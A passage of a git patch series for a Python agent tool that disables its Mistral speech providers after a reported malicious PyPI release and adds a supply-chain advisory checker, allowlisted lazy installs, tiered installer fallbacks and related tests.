a/tests/tools/test_transcription_dotenv_fallback.py +++ b/tests/tools/test_transcription_dotenv_fallback.py @@ -69,6 +69,12 @@ class TestProviderSelectionGate: assert tt._get_provider({"enabled": True, "provider": "groq"}) == "groq" def test_explicit_mistral_sees_dotenv(self): + """Mistral STT is intentionally disabled (PyPI quarantine 2026-05-12). + + Even with the dotenv key visible, explicit `provider: mistral` must + return "none" with a warning. Restore the previous behavior once + `mistralai` is un-quarantined on PyPI. + """ from tools import transcription_tools as tt with patch.object(tt, "_HAS_FASTER_WHISPER", False), \ @@ -76,7 +82,7 @@ class TestProviderSelectionGate: patch.object(tt, "_has_local_command", return_value=False), \ patch("hermes_cli.config.load_env", return_value={"MISTRAL_API_KEY": "dotenv-secret"}): - assert tt._get_provider({"enabled": True, "provider": "mistral"}) == "mistral" + assert tt._get_provider({"enabled": True, "provider": "mistral"}) == "none" def test_explicit_xai_sees_dotenv(self): from tools import transcription_tools as tt diff --git a/tests/tools/test_transcription_tools.py b/tests/tools/test_transcription_tools.py index e5b27d9e4d4..ce45cb9f1e6 100644 --- a/tests/tools/test_transcription_tools.py +++ b/tests/tools/test_transcription_tools.py @@ -978,16 +978,23 @@ class TestTranscribeMistral: # ============================================================================ class TestGetProviderMistral: - """Mistral-specific provider selection tests.""" + """Mistral-specific provider selection tests. + + Mistral STT is intentionally disabled in 2026-05-12+ while the + `mistralai` PyPI package is quarantined. These tests document that + explicit `provider: mistral` always returns "none" with a warning, and + that auto-detect skips mistral entirely. + """ def test_mistral_when_key_and_sdk_available(self, monkeypatch): + """Even with key + SDK, explicit mistral returns 'none' (disabled).""" monkeypatch.setenv("MISTRAL_API_KEY", "test-key") with patch("tools.transcription_tools._HAS_MISTRAL", True): from tools.transcription_tools import _get_provider - assert _get_provider({"provider": "mistral"}) == "mistral" + assert _get_provider({"provider": "mistral"}) == "none" def test_mistral_explicit_no_key_returns_none(self, monkeypatch): - """Explicit mistral with no key returns none — no cross-provider fallback.""" + """Explicit mistral with no key returns none.""" monkeypatch.delenv("MISTRAL_API_KEY", raising=False) with patch("tools.transcription_tools._HAS_MISTRAL", True): from tools.transcription_tools import _get_provider @@ -1000,18 +1007,23 @@ class TestGetProviderMistral: from tools.transcription_tools import _get_provider assert _get_provider({"provider": "mistral"}) == "none" - def test_auto_detect_mistral_after_openai(self, monkeypatch): - """Auto-detect: mistral is tried after openai when both are unavailable.""" + def test_auto_detect_skips_mistral(self, monkeypatch): + """Auto-detect intentionally skips mistral (quarantine workaround). + + With no other provider available but MISTRAL_API_KEY set, the result + must be 'none' — mistral is no longer in the auto-detect chain. + """ monkeypatch.delenv("GROQ_API_KEY", raising=False) monkeypatch.delenv("VOICE_TOOLS_OPENAI_KEY", raising=False) monkeypatch.delenv("OPENAI_API_KEY", raising=False) + monkeypatch.delenv("XAI_API_KEY", raising=False) monkeypatch.setenv("MISTRAL_API_KEY", "test-key") with patch("tools.transcription_tools._HAS_FASTER_WHISPER", False), \ patch("tools.transcription_tools._has_local_command", return_value=False), \ patch("tools.transcription_tools._HAS_OPENAI", False), \ patch("tools.transcription_tools._HAS_MISTRAL", True): from tools.transcription_tools import _get_provider - assert _get_provider({}) == "mistral" + assert _get_provider({}) == "none" def test_auto_detect_openai_preferred_over_mistral(self, monkeypatch): """Auto-detect: openai is preferred over mistral (both paid, openai more common).""" @@ -1285,8 +1297,13 @@ class TestGetProviderXAI: from tools.transcription_tools import _get_provider assert _get_provider({}) == "xai" - def test_auto_detect_mistral_preferred_over_xai(self, monkeypatch): - """Auto-detect: mistral is preferred over xai.""" + def test_auto_detect_mistral_skipped_xai_wins(self, monkeypatch): + """Auto-detect skips mistral entirely (quarantine) — xai wins. + + Even with MISTRAL_API_KEY set, mistral is no longer in the + auto-detect chain. xai is the next-best fallback when the + local/groq/openai chain is unavailable. + """ monkeypatch.setenv("MISTRAL_API_KEY", "test-key") monkeypatch.setenv("XAI_API_KEY", "xai-test") monkeypatch.delenv("GROQ_API_KEY", raising=False) @@ -1297,7 +1314,7 @@ class TestGetProviderXAI: patch("tools.transcription_tools._HAS_OPENAI", False), \ patch("tools.transcription_tools._HAS_MISTRAL", True): from tools.transcription_tools import _get_provider - assert _get_provider({}) == "mistral" + assert _get_provider({}) == "xai" def test_auto_detect_no_key_returns_none(self, monkeypatch): """Auto-detect: xai skipped when no key is set.""" diff --git a/tests/tools/test_tts_mistral.py b/tests/tools/test_tts_mistral.py index 6e98946b6c0..818a6c1d117 100644 --- a/tests/tools/test_tts_mistral.py +++ b/tests/tools/test_tts_mistral.py @@ -162,27 +162,34 @@ class TestGenerateMistralTts: class TestTtsDispatcherMistral: - def test_dispatcher_routes_to_mistral( + def test_dispatcher_returns_disabled_error( self, tmp_path, mock_mistral_module, monkeypatch ): + """Mistral TTS is intentionally disabled (PyPI quarantine 2026-05-12). + + The dispatcher must short-circuit with a clear status message before + attempting any SDK import, even when MISTRAL_API_KEY is set and a + mock SDK is wired in. Restore routing once `mistralai` is + un-quarantined on PyPI. + """ import json from tools.tts_tool import text_to_speech_tool monkeypatch.setenv("MISTRAL_API_KEY", "test-key") - mock_mistral_module.audio.speech.complete.return_value = MagicMock( - audio_data=base64.b64encode(b"audio").decode() - ) output_path = str(tmp_path / "out.mp3") with patch("tools.tts_tool._load_tts_config", return_value={"provider": "mistral"}): result = json.loads(text_to_speech_tool("Hello", output_path=output_path)) - assert result["success"] is True - assert result["provider"] == "mistral" - mock_mistral_module.audio.speech.complete.assert_called_once() + assert result["success"] is False + assert "temporarily disabled" in result["error"] + assert "quarantined" in result["error"] + # SDK must not have been called. + mock_mistral_module.audio.speech.complete.assert_not_called() def test_dispatcher_returns_error_when_sdk_not_installed(self, tmp_path, monkeypatch): + """Same disabled message regardless of SDK presence.""" import json from tools.tts_tool import text_to_speech_tool @@ -196,7 +203,7 @@ class TestTtsDispatcherMistral: ) assert result["success"] is False - assert "mistralai" in result["error"] + assert "temporarily disabled" in result["error"] class TestCheckTtsRequirementsMistral: diff --git a/tools/transcription_tools.py b/tools/transcription_tools.py index 663345eb747..5009947895c 100644 --- a/tools/transcription_tools.py +++ b/tools/transcription_tools.py @@ -252,11 +252,16 @@ def _get_provider(stt_config: dict) -> str: return "none" if provider == "mistral": - if _HAS_MISTRAL and get_env_value("MISTRAL_API_KEY"): - return "mistral" + # `mistralai` PyPI package was quarantined on 2026-05-12 after a + # malicious 2.4.6 release. Refuse to use this provider until it's + # available again so we surface a clear message instead of an + # opaque ImportError mid-call. logger.warning( - "STT provider 'mistral' configured but mistralai package " - "not installed or MISTRAL_API_KEY not set" + "STT provider 'mistral' (Voxtral Transcribe) is temporarily " + "disabled — `mistralai` PyPI package is quarantined " + "(malicious 2.4.6 release on 2026-05-12). Falling back to " + "another provider. Set stt.provider in config.yaml to 'local' " + "or 'openai' to silence this warning." ) return "none" @@ -270,7 +275,9 @@ def _get_provider(stt_config: dict) -> str: return provider # Unknown — let it fail downstream - # --- Auto-detect (no explicit provider): local > groq > openai > mistral > xai - + # --- Auto-detect (no explicit provider): local > groq > openai > xai --- + # mistral is intentionally skipped while `mistralai` is quarantined on + # PyPI (malicious 2.4.6 release on 2026-05-12). if _HAS_FASTER_WHISPER: return "local" @@ -282,9 +289,6 @@ def _get_provider(stt_config: dict) -> str: if _HAS_OPENAI and _has_openai_audio_backend(): logger.info("No local STT available, using OpenAI Whisper API") return "openai" - if _HAS_MISTRAL and get_env_value("MISTRAL_API_KEY"): - logger.info("No local STT available, using Mistral Voxtral Transcribe API") - return "mistral" if get_env_value("XAI_API_KEY"): logger.info("No local STT available, using xAI Grok STT API") return "xai" diff --git a/tools/tts_tool.py b/tools/tts_tool.py index 95958fd1833..31e080332b1 100644 --- a/tools/tts_tool.py +++ b/tools/tts_tool.py @@ -1662,16 +1662,21 @@ def text_to_speech_tool( _generate_xai_tts(text, file_str, tts_config) elif provider == "mistral": - try: - _import_mistral_client() - except ImportError: - return json.dumps({ - "success": False, - "error": "Mistral provider selected but 'mistralai' package not installed. " - "Run: pip install 'hermes-agent[mistral]'" - }, ensure_ascii=False) - logger.info("Generating speech with Mistral Voxtral TTS...") - _generate_mistral_tts(text, file_str, tts_config) + # `mistralai` PyPI package was quarantined on 2026-05-12 after a + # malicious 2.4.6 release. Surface a clear status message instead + # of attempting an import that would either fail or pull a stale + # cached package. + return json.dumps({ + "success": False, + "error": ( + "Mistral Voxtral TTS is temporarily disabled. The " + "`mistralai` PyPI package was quarantined on 2026-05-12 " + "after a malicious 2.4.6 release. Switch tts.provider in " + "config.yaml to 'edge', 'elevenlabs', 'openai', 'minimax', " + "'gemini', 'xai', 'neutts', or 'kittentts'. Mistral " + "support will return once PyPI un-quarantines the package." + ), + }, ensure_ascii=False) elif provider == "gemini": logger.info("Generating speech with Google Gemini TTS...") From c1eb2dcda7d729e7c5353ec7b5744f331aa752fe Mon Sep 17 00:00:00 2001 From: Teknium <127238744+teknium1@users.noreply.github.com> Date: Tue, 12 May 2026 01:02:25 -0700 Subject: [PATCH 09/59] feat(security): supply-chain advisory checker + lazy-install framework + tiered install fallback (#24220) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat(security): supply-chain advisory checker + lazy-install framework + tiered install fallback Three coordinated mitigations for the Mini Shai-Hulud worm hitting mistralai 2.4.6 on PyPI (2026-05-12) and for the next single-package compromise that follows. # What this PR makes true 1. Users with the poisoned mistralai 2.4.6 in their venv get a loud detection banner with copy-pasteable remediation steps the moment they run hermes (and on every gateway startup). 2. One quarantined / yanked PyPI package can no longer silently demote a fresh install to 'core only' — the installer keeps every other extra and tells the user which tier landed. 3. Future opt-in backends (Mistral, ElevenLabs, Honcho, etc.) can lazy-install on first use under a strict allowlist, instead of eagerly pulling everything at install time. # Detection: hermes_cli/security_advisories.py - ADVISORIES catalog (one entry currently: shai-hulud-2026-05 for mistralai==2.4.6). Adding the next one is a single dataclass. - detect_compromised() uses importlib.metadata.version() — no pip dependency, works in uv venvs that lack pip. - Banner cache (~/.hermes/cache/advisory_banner_seen) rate-limits the startup banner to once per 24h per advisory. - Acks persisted to security.acked_advisories in config.yaml; never re-banner after ack. - Wired into: * hermes doctor — runs first, prints full remediation block * hermes doctor --ack — dismisses an advisory * cli.py interactive run() and single-query branches — short stderr banner pointing at hermes doctor * gateway/run.py startup — operator-visible warning in gateway.log # Lazy-install framework: tools/lazy_deps.py - LAZY_DEPS allowlist maps namespaced feature keys (tts.elevenlabs, memory.honcho, provider.bedrock, etc.) to pip specs. - ensure(feature) installs missing deps in the active venv via the uv → pip → ensurepip ladder (matches tools_config._pip_install). - Strict spec safety regex rejects URLs, file paths, shell metas, pip flag injection, control chars — only PyPI-by-name accepted. - Gated on security.allow_lazy_installs (default true) plus the HERMES_DISABLE_LAZY_INSTALLS env var for restricted/audited envs. - Migrated three backends as proof of pattern: * tools/tts_tool.py — _import_elevenlabs() calls ensure first * plugins/memory/honcho/client.py — get_honcho_client lazy-installs * tts.mistral / stt.mistral entries pre-registered for when PyPI restores mistralai # Installer fallback tiers scripts/install.sh, scripts/install.ps1, setup-hermes.sh: - Centralised _BROKEN_EXTRAS list (currently: mistral). Edit one array when a transitive breaks; users keep every other extra. - New 'all minus known-broken' tier between [all] and the existing PyPI-only-extras tier. Only kicks in when [all] fails resolve. - All three tiers explicit: every fallback announces which tier landed and prints a re-run hint when not on Tier 1. - install.ps1 and install.sh both regenerate their tier specs from the same _BROKEN_EXTRAS array so updates stay in sync. Side effect: install.ps1 Tier 2 spec previously hardcoded 'mistral' in its extra list — bug fixed by the refactor (mistral is filtered out). # Config hermes_cli/config.py — DEFAULT_CONFIG.security gains: - acked_advisories: [] (advisory IDs the user has dismissed) - allow_lazy_installs: True (security gate for ensure()) No config version bump needed — both keys nest under existing security: block, and load_config's deep-merge picks up DEFAULT_CONFIG defaults for users with older configs. # Tests tests/hermes_cli/test_security_advisories.py — 23 tests covering: - detect_compromised matches/non-matches, wildcard frozenset - ack persistence, idempotence, blank rejection, config-failure path - banner cache rate limiting + 24h re-banner + ack-stops-banner - short_banner_lines / full_remediation_text / render_doctor_section / gateway_log_message - shipped catalog well-formedness invariant tests/tools/test_lazy_deps.py — 40 tests covering: - spec safety: 11 safe parametrized + 18 unsafe parametrized - allowlist: unknown-feature rejection, namespace.name shape, every shipped spec passes the safety regex - security gating: config flag, env var, default, fail-open - ensure() happy/sad paths: already-satisfied, install success, pip stderr surfaced on failure, install-succeeds-but-still-missing - is_available, feature_install_command Combined: 63 new tests, all passing under scripts/run_tests.sh. # Validation - scripts/run_tests.sh tests/hermes_cli/test_security_advisories.py tests/tools/test_lazy_deps.py → 63/63 passing - scripts/run_tests.sh tests/hermes_cli/test_doctor.py tests/hermes_cli/test_doctor_command_install.py tests/tools/test_tts_mistral.py tests/tools/test_transcription_tools.py tests/tools/test_transcription_dotenv_fallback.py → 165/165 passing - scripts/run_tests.sh tests/hermes_cli/ tests/tools/ → 9191 passed, 8 pre-existing failures (verified on origin/main before this change) - bash -n on install.sh and setup-hermes.sh → OK - py_compile on all modified .py files → OK - End-to-end smoke test of detect_compromised + render_doctor_section + gateway_log_message with mocked installed version → produces copy-pasteable remediation output # Community Full advisory + remediation steps: website/docs/community/security-advisories/shai-hulud-mistralai-2026-05.md Short-form post drafts (Discord, GitHub pinned issue, README banner): scripts/community-announcement-shai-hulud.md Refs: PR #24205 (mistral disabled), Socket Security advisory * build(deps): pin every direct dep to ==X.Y.Z (no ranges) Companion to the supply-chain advisory work: replace every >=/=61.0) is intentionally left as a range — pinning the build backend would block fresh pip from bootstrapping the build on architectures where that exact wheel isn't available. mistral extra (mistralai==2.3.0) is pinned but stays out of [all] (per PR #24205). 'uv lock' regeneration will fail until PyPI restores mistralai; lockfile regeneration is gated behind that, NOT on every PR. LAZY_DEPS in tools/lazy_deps.py also moved to exact pins so the lazy- install pathway can never resolve a different version than the one declared in pyproject.toml. Validation: - Cross-checked all 77 pinned direct deps in pyproject.toml against uv.lock — every pin matches the resolved version exactly. - Cross-checked all LAZY_DEPS specs against uv.lock — same. - 'uv pip install -e .[all] --dry-run' resolves 205 packages cleanly. - tests/tools/test_lazy_deps.py + tests/hermes_cli/test_security_advisories.py → 63/63 passing (every shipped spec passes the safety regex). - Doctor + TTS + transcription targeted suite → 146/146 passing. * build(deps): hash-verify transitives via uv.lock; remove unresolvable [mistral] extra You asked: 'what about the dependencies the dependencies rely on?' — correctly noting that exact-pinning direct deps in pyproject.toml does NOT cover the transitive graph. `pip install` and `uv pip install` both re-resolve transitives fresh from PyPI at install time, so a compromised transitive (e.g. `httpcore` if it got worm-poisoned tomorrow) would still hit our users even with every direct dep exact-pinned. # What this commit fixes 1. **Both real installer scripts now prefer `uv sync --locked` as Tier 0.** uv.lock records SHA256 hashes for every transitive — a compromised package with a different hash gets REJECTED. Falls through to the existing `uv pip install` cascade if the lockfile is missing or stale, with a loud warning that the fallback path does NOT hash-verify transitives. Previously only `setup-hermes.sh` (the dev path) used the lockfile; `scripts/install.sh` and `scripts/install.ps1` (the paths fresh users actually run) skipped it. 2. **Removed the `[mistral]` extra entirely.** The `mistralai` PyPI project is fully quarantined right now — every version returns 404, so any pin we wrote was unresolvable, which broke `uv lock --check` in CI. Restoration is documented in pyproject.toml as a 5-step checklist (verify, re-add extra, re-enable in 4 modules, regenerate lock, optionally re-add to [all]). 3. **Regenerated uv.lock.** 262 packages, mistralai/eval-type-backport/ jsonpath-python pruned. `uv lock --check` now passes. # Defense-in-depth view | Layer | Where | Protects against | |----------------------------|-------------------|-------------------------------------------| | Exact pins in pyproject | direct deps | new mistralai 2.4.6-style direct compromise | | uv.lock + `--locked` install | transitive graph | transitive worm injection | | Tier-0 hash-verified path | install.sh / .ps1 | actually USE the lockfile in fresh installs | | `uv lock --check` CI gate | every PR | drift between pyproject and lockfile | | `hermes_cli/security_advisories.py` | runtime | cleanup for users who already got hit | The exact pinning + hash verification together close the supply-chain gap. Without the lockfile path, exact pins alone are theater. # Validation - `uv lock --check` → passes (262 packages resolved, no drift). - `bash -n` on install.sh + setup-hermes.sh → OK. - 209/209 tests passing across new + adjacent test files (test_lazy_deps.py, test_security_advisories.py, test_doctor.py, test_tts_mistral.py, test_transcription_tools.py). - TOML parse OK. * chore: remove community announcement drafts (PR body covers it) * build(deps): lazy-install every opt-in backend (anthropic, search, terminal, platforms, dashboard) Extends the lazy-install framework to cover everything that's not used by every hermes session. Base install drops from ~60 packages to 45. Moved out of core dependencies = []: - anthropic (only when provider=anthropic native, not via aggregators) - exa-py, firecrawl-py, parallel-web (search backends; only when picked) - fal-client (image gen; only when picked) - edge-tts (default TTS but still optional) New extras in pyproject.toml: [anthropic] [exa] [firecrawl] [parallel-web] [fal] [edge-tts]. All added to [all]. New LAZY_DEPS entries: provider.anthropic, search.{exa,firecrawl,parallel}, tts.edge, image.fal, memory.hindsight, platform.{telegram,discord,matrix}, terminal.{modal,daytona,vercel}, tool.dashboard. Each import site now calls ensure() before importing the SDK. Where the module had a top-level try/except (telegram, discord, fastapi), the graceful-fallback pattern was extended to lazy-install on first check_*_requirements() call and re-bind module globals. Updated test_windows_native_support.py tzdata check from snapshot (>=2023.3 literal) to invariant (any version + win32 marker). Validation: - Base install: 45 packages (was ~60); 6 newly-extracted packages absent - uv lock --check: passes (262 packages, no drift) - 209/209 lazy_deps + advisory + doctor + tts/transcription tests passing - py_compile clean on all 12 modified modules --- agent/anthropic_adapter.py | 8 + cli.py | 38 +- gateway/platforms/discord.py | 28 +- gateway/platforms/telegram.py | 54 ++- gateway/run.py | 24 + hermes_cli/config.py | 15 + hermes_cli/doctor.py | 86 +++- hermes_cli/main.py | 10 + hermes_cli/security_advisories.py | 451 ++++++++++++++++++ hermes_cli/web_server.py | 20 +- plugins/memory/hindsight/__init__.py | 7 + plugins/memory/honcho/client.py | 18 +- pyproject.toml | 164 ++++--- scripts/install.ps1 | 80 +++- scripts/install.sh | 128 ++++- setup-hermes.sh | 56 ++- tests/hermes_cli/test_security_advisories.py | 330 +++++++++++++ tests/tools/test_lazy_deps.py | 228 +++++++++ tests/tools/test_windows_native_support.py | 21 +- tools/environments/daytona.py | 7 + tools/environments/modal.py | 13 + tools/environments/vercel_sandbox.py | 16 + tools/image_generation_tool.py | 7 + tools/lazy_deps.py | 441 +++++++++++++++++ tools/tts_tool.py | 25 +- tools/web_tools.py | 28 ++ uv.lock | 235 +++++---- .../shai-hulud-mistralai-2026-05.md | 138 ++++++ 28 files changed, 2433 insertions(+), 243 deletions(-) create mode 100644 hermes_cli/security_advisories.py create mode 100644 tests/hermes_cli/test_security_advisories.py create mode 100644 tests/tools/test_lazy_deps.py create mode 100644 tools/lazy_deps.py create mode 100644 website/docs/community/security-advisories/shai-hulud-mistralai-2026-05.md diff --git a/agent/anthropic_adapter.py b/agent/anthropic_adapter.py index b4ce2da99d1..3919c8565b2 100644 --- a/agent/anthropic_adapter.py +++ b/agent/anthropic_adapter.py @@ -35,6 +35,14 @@ def _get_anthropic_sdk(): """Return the ``anthropic`` SDK module, importing lazily. None if not installed.""" global _anthropic_sdk if _anthropic_sdk is ...: + try: + from tools.lazy_deps import ensure as _lazy_ensure + _lazy_ensure("provider.anthropic", prompt=False) + except ImportError: + pass + except Exception: + # FeatureUnavailable — fall through to ImportError handling below + pass try: import anthropic as _sdk _anthropic_sdk = _sdk diff --git a/cli.py b/cli.py index 37f2a96b5a0..ea167b6b411 100644 --- a/cli.py +++ b/cli.py @@ -4214,12 +4214,34 @@ class HermesCLI: ChatConsole().print(f"[bold red]Failed to initialize agent: {e}[/]") return False + def _show_security_advisories(self): + """Show a startup banner if any unacked security advisories match. + + Renders a single bold-red box on stderr (so piped stdout remains + clean) listing the worst hit and pointing at ``hermes doctor``. + Banner-cache rate-limits this to once per 24h per advisory; full + remediation lives behind ``hermes doctor`` so the banner stays + small. + """ + try: + from hermes_cli.security_advisories import ( + detect_compromised, + startup_banner, + ) + hits = detect_compromised() + banner = startup_banner(hits) + if banner: + # Print to stderr — keeps stdout clean for piped automation, + # and Rich's banner rendering already wrote to stdout above. + print(banner, file=sys.stderr, flush=True) + except Exception: + # Never let the security banner block startup. Failures are + # logged at DEBUG by the advisory module. + pass + def show_banner(self): """Display the welcome banner in Claude Code style.""" self.console.clear() - - # Get context length for display before branching so it remains - # available to the low-context warning logic in compact mode too. ctx_len = None if hasattr(self, 'agent') and self.agent and hasattr(self.agent, 'context_compressor'): ctx_len = self.agent.context_compressor.context_length @@ -11016,10 +11038,9 @@ class HermesCLI: pass self.show_banner() - - # One-line Honcho session indicator (TTY-only, not captured by agent). - # Only show when the user explicitly configured Honcho for Hermes - # (not auto-enabled from a stray HONCHO_API_KEY env var). + # Surface any active supply-chain security advisories right after the + # welcome banner. Quiet/single-query paths call this themselves. + self._show_security_advisories() # If resuming a session, load history and display it immediately # so the user has context before typing their first message. if self._resumed: @@ -13528,6 +13549,9 @@ def main( _query_label = query or ("[image attached]" if single_query_images else "") if _query_label: cli.console.print(f"[bold blue]Query:[/] {_query_label}") + # Surface security advisories before the agent runs — short + # banner, doesn't depend on the welcome banner being shown. + cli._show_security_advisories() cli.chat(query, images=single_query_images or None) cli._print_exit_summary() return diff --git a/gateway/platforms/discord.py b/gateway/platforms/discord.py index 5113f49f179..1817ece173d 100644 --- a/gateway/platforms/discord.py +++ b/gateway/platforms/discord.py @@ -86,8 +86,32 @@ def _clean_discord_id(entry: str) -> str: def check_discord_requirements() -> bool: - """Check if Discord dependencies are available.""" - return DISCORD_AVAILABLE + """Check if Discord dependencies are available. + + Lazy-installs discord.py via ``tools.lazy_deps.ensure("platform.discord")`` + on first call if not present. After successful install, re-binds module + globals so ``DISCORD_AVAILABLE`` becomes True. + """ + global DISCORD_AVAILABLE, discord, DiscordMessage, Intents, commands + if DISCORD_AVAILABLE: + return True + try: + from tools.lazy_deps import ensure as _lazy_ensure + _lazy_ensure("platform.discord", prompt=False) + except Exception: + return False + try: + import discord as _discord + from discord import Message as _DM, Intents as _Intents + from discord.ext import commands as _commands + except ImportError: + return False + discord = _discord + DiscordMessage = _DM + Intents = _Intents + commands = _commands + DISCORD_AVAILABLE = True + return True def _build_allowed_mentions(): diff --git a/gateway/platforms/telegram.py b/gateway/platforms/telegram.py index 8e937d7573f..e91a38ac6b1 100644 --- a/gateway/platforms/telegram.py +++ b/gateway/platforms/telegram.py @@ -103,8 +103,58 @@ _TELEGRAM_IMAGE_EXT_TO_MIME = { def check_telegram_requirements() -> bool: - """Check if Telegram dependencies are available.""" - return TELEGRAM_AVAILABLE + """Check if Telegram dependencies are available. + + If python-telegram-bot is missing, attempts to lazy-install it via + ``tools.lazy_deps.ensure("platform.telegram")``. After a successful + install, re-imports the SDK and flips ``TELEGRAM_AVAILABLE`` to True + so the adapter's class-level type aliases get rebound. + """ + global TELEGRAM_AVAILABLE, Update, Bot, Message, InlineKeyboardButton + global InlineKeyboardMarkup, LinkPreviewOptions, Application + global CommandHandler, CallbackQueryHandler, TelegramMessageHandler + global ContextTypes, filters, ParseMode, ChatType, HTTPXRequest + if TELEGRAM_AVAILABLE: + return True + try: + from tools.lazy_deps import ensure as _lazy_ensure + _lazy_ensure("platform.telegram", prompt=False) + except Exception: + return False + try: + from telegram import Update as _Update, Bot as _Bot, Message as _Message + from telegram import InlineKeyboardButton as _IKB, InlineKeyboardMarkup as _IKM + try: + from telegram import LinkPreviewOptions as _LPO + except ImportError: + _LPO = None + from telegram.ext import ( + Application as _App, CommandHandler as _CH, + CallbackQueryHandler as _CQH, + MessageHandler as _MH, + ContextTypes as _CT, filters as _filters, + ) + from telegram.constants import ParseMode as _PM, ChatType as _CtT + from telegram.request import HTTPXRequest as _HR + except ImportError: + return False + Update = _Update + Bot = _Bot + Message = _Message + InlineKeyboardButton = _IKB + InlineKeyboardMarkup = _IKM + LinkPreviewOptions = _LPO + Application = _App + CommandHandler = _CH + CallbackQueryHandler = _CQH + TelegramMessageHandler = _MH + ContextTypes = _CT + filters = _filters + ParseMode = _PM + ChatType = _CtT + HTTPXRequest = _HR + TELEGRAM_AVAILABLE = True + return True # Matches every character that MarkdownV2 requires to be backslash-escaped diff --git a/gateway/run.py b/gateway/run.py index 1da45e3f03f..559adae89bf 100644 --- a/gateway/run.py +++ b/gateway/run.py @@ -3275,6 +3275,30 @@ class GatewayRunner: write_runtime_status(gateway_state="starting", exit_reason=None) except Exception: pass + + # Log any active supply-chain security advisories. Operators see this + # in gateway.log and `hermes status` surfaces it; we do NOT block + # startup or surface it inline to user messages, since the gateway + # operator is the one who can act on it (uninstall the package, + # rotate credentials). See hermes_cli/security_advisories.py. + try: + from hermes_cli.security_advisories import ( + detect_compromised, + gateway_log_message, + ) + _adv_hits = detect_compromised() + _adv_msg = gateway_log_message(_adv_hits) + if _adv_msg: + logger.warning("%s", _adv_msg) + logger.warning( + "Run `hermes doctor` on the gateway host for full " + "remediation steps." + ) + except Exception: + logger.debug( + "security advisory check failed at gateway startup", + exc_info=True, + ) # Warn if no user allowlists are configured and open access is not opted in _builtin_allowed_vars = ( diff --git a/hermes_cli/config.py b/hermes_cli/config.py index 37fd0536cef..d7585dc3010 100644 --- a/hermes_cli/config.py +++ b/hermes_cli/config.py @@ -1332,6 +1332,21 @@ DEFAULT_CONFIG = { "domains": [], "shared_files": [], }, + # Acknowledged supply-chain security advisories. Each entry is the + # ID of an advisory the user has read and acted on (uninstalled the + # compromised package, rotated credentials). Acked advisories no + # longer trigger the startup banner. Add via `hermes doctor --ack + # `; remove by editing the list directly. See + # ``hermes_cli/security_advisories.py`` for the catalog. + "acked_advisories": [], + # Allow Hermes to lazy-install opt-in backend packages from PyPI + # the first time the user enables a backend that needs them + # (e.g. installing ``elevenlabs`` when the user picks ElevenLabs as + # their TTS provider). Set to false to require explicit + # ``pip install`` for everything beyond the base set — appropriate + # for restricted networks, audited environments, or air-gapped + # systems where any runtime install is unacceptable. + "allow_lazy_installs": True, }, "cron": { diff --git a/hermes_cli/doctor.py b/hermes_cli/doctor.py index 13f58a8509f..529433902d5 100644 --- a/hermes_cli/doctor.py +++ b/hermes_cli/doctor.py @@ -296,19 +296,101 @@ def _build_apikey_providers_list() -> list: def run_doctor(args): """Run diagnostic checks.""" should_fix = getattr(args, 'fix', False) + ack_target = getattr(args, 'ack', None) # Doctor runs from the interactive CLI, so CLI-gated tool availability # checks (like cronjob management) should see the same context as `hermes`. os.environ.setdefault("HERMES_INTERACTIVE", "1") - + + # Handle `hermes doctor --ack ` as a fast path. Persist the ack and + # return without running the rest of the diagnostics — the user has + # already seen the advisory and just wants to silence it. + if ack_target: + from hermes_cli.security_advisories import ( + ADVISORIES, + ack_advisory, + ) + valid_ids = {a.id for a in ADVISORIES} + if ack_target not in valid_ids: + print(color( + f"Unknown advisory ID: {ack_target!r}. Known IDs: " + f"{', '.join(sorted(valid_ids)) or '(none)'}", + Colors.RED, + )) + sys.exit(2) + if ack_advisory(ack_target): + print(color( + f" ✓ Acknowledged advisory {ack_target}. " + f"It will no longer trigger startup banners.", + Colors.GREEN, + )) + else: + print(color( + f" ✗ Failed to persist ack for {ack_target}. " + f"Check ~/.hermes/config.yaml is writable.", + Colors.RED, + )) + sys.exit(1) + return + issues = [] manual_issues = [] # issues that can't be auto-fixed fixed_count = 0 - + print() print(color("┌─────────────────────────────────────────────────────────┐", Colors.CYAN)) print(color("│ 🩺 Hermes Doctor │", Colors.CYAN)) print(color("└─────────────────────────────────────────────────────────┘", Colors.CYAN)) + + # ========================================================================= + # Check: Security advisories (RUNS FIRST — these are the most urgent) + # ========================================================================= + print() + print(color("◆ Security Advisories", Colors.CYAN, Colors.BOLD)) + try: + from hermes_cli.security_advisories import ( + detect_compromised, + filter_unacked, + full_remediation_text, + get_acked_ids, + ) + all_hits = detect_compromised() + fresh_hits = filter_unacked(all_hits) + if fresh_hits: + for hit in fresh_hits: + check_fail( + f"{hit.advisory.title}", + f"({hit.package}=={hit.installed_version})", + ) + # Print the full remediation block, indented under the + # check_fail header so it reads as a single section. + for line in full_remediation_text(hit): + if line: + print(f" {color(line, Colors.YELLOW)}") + else: + print() + # Funnel into the action list so the summary block surfaces it + # for users who scroll past the section. + manual_issues.append( + f"Resolve security advisory {hit.advisory.id}: " + f"uninstall {hit.package}=={hit.installed_version} and " + f"rotate credentials, then run " + f"`hermes doctor --ack {hit.advisory.id}`." + ) + # Acked-but-still-installed: show as informational so the user + # knows the package is still on disk after the ack. + acked_ids = get_acked_ids() + for h in all_hits: + if h.advisory.id in acked_ids: + check_warn( + f"{h.package}=={h.installed_version} still installed " + f"(advisory {h.advisory.id} acknowledged)", + ) + else: + check_ok("No active security advisories") + except Exception as e: + # Never let a bug in the advisory check block the rest of doctor. + check_warn(f"Security advisory check failed: {e}") # ========================================================================= # Check: Python version diff --git a/hermes_cli/main.py b/hermes_cli/main.py index 3c0ab4c442a..33f915a9e6b 100644 --- a/hermes_cli/main.py +++ b/hermes_cli/main.py @@ -10086,6 +10086,16 @@ def main(): doctor_parser.add_argument( "--fix", action="store_true", help="Attempt to fix issues automatically" ) + doctor_parser.add_argument( + "--ack", + metavar="ADVISORY_ID", + default=None, + help=( + "Acknowledge a security advisory by ID and exit. After ack, the " + "advisory will no longer trigger startup banners. Run `hermes " + "doctor` first to see active advisories and their IDs." + ), + ) doctor_parser.set_defaults(func=cmd_doctor) # ========================================================================= diff --git a/hermes_cli/security_advisories.py b/hermes_cli/security_advisories.py new file mode 100644 index 00000000000..311383eab4d --- /dev/null +++ b/hermes_cli/security_advisories.py @@ -0,0 +1,451 @@ +""" +Security advisory checker for Hermes Agent. + +Detects known-compromised Python packages installed in the active venv +(supply-chain attacks like the Mini Shai-Hulud worm of May 2026 that +poisoned ``mistralai 2.4.6`` on 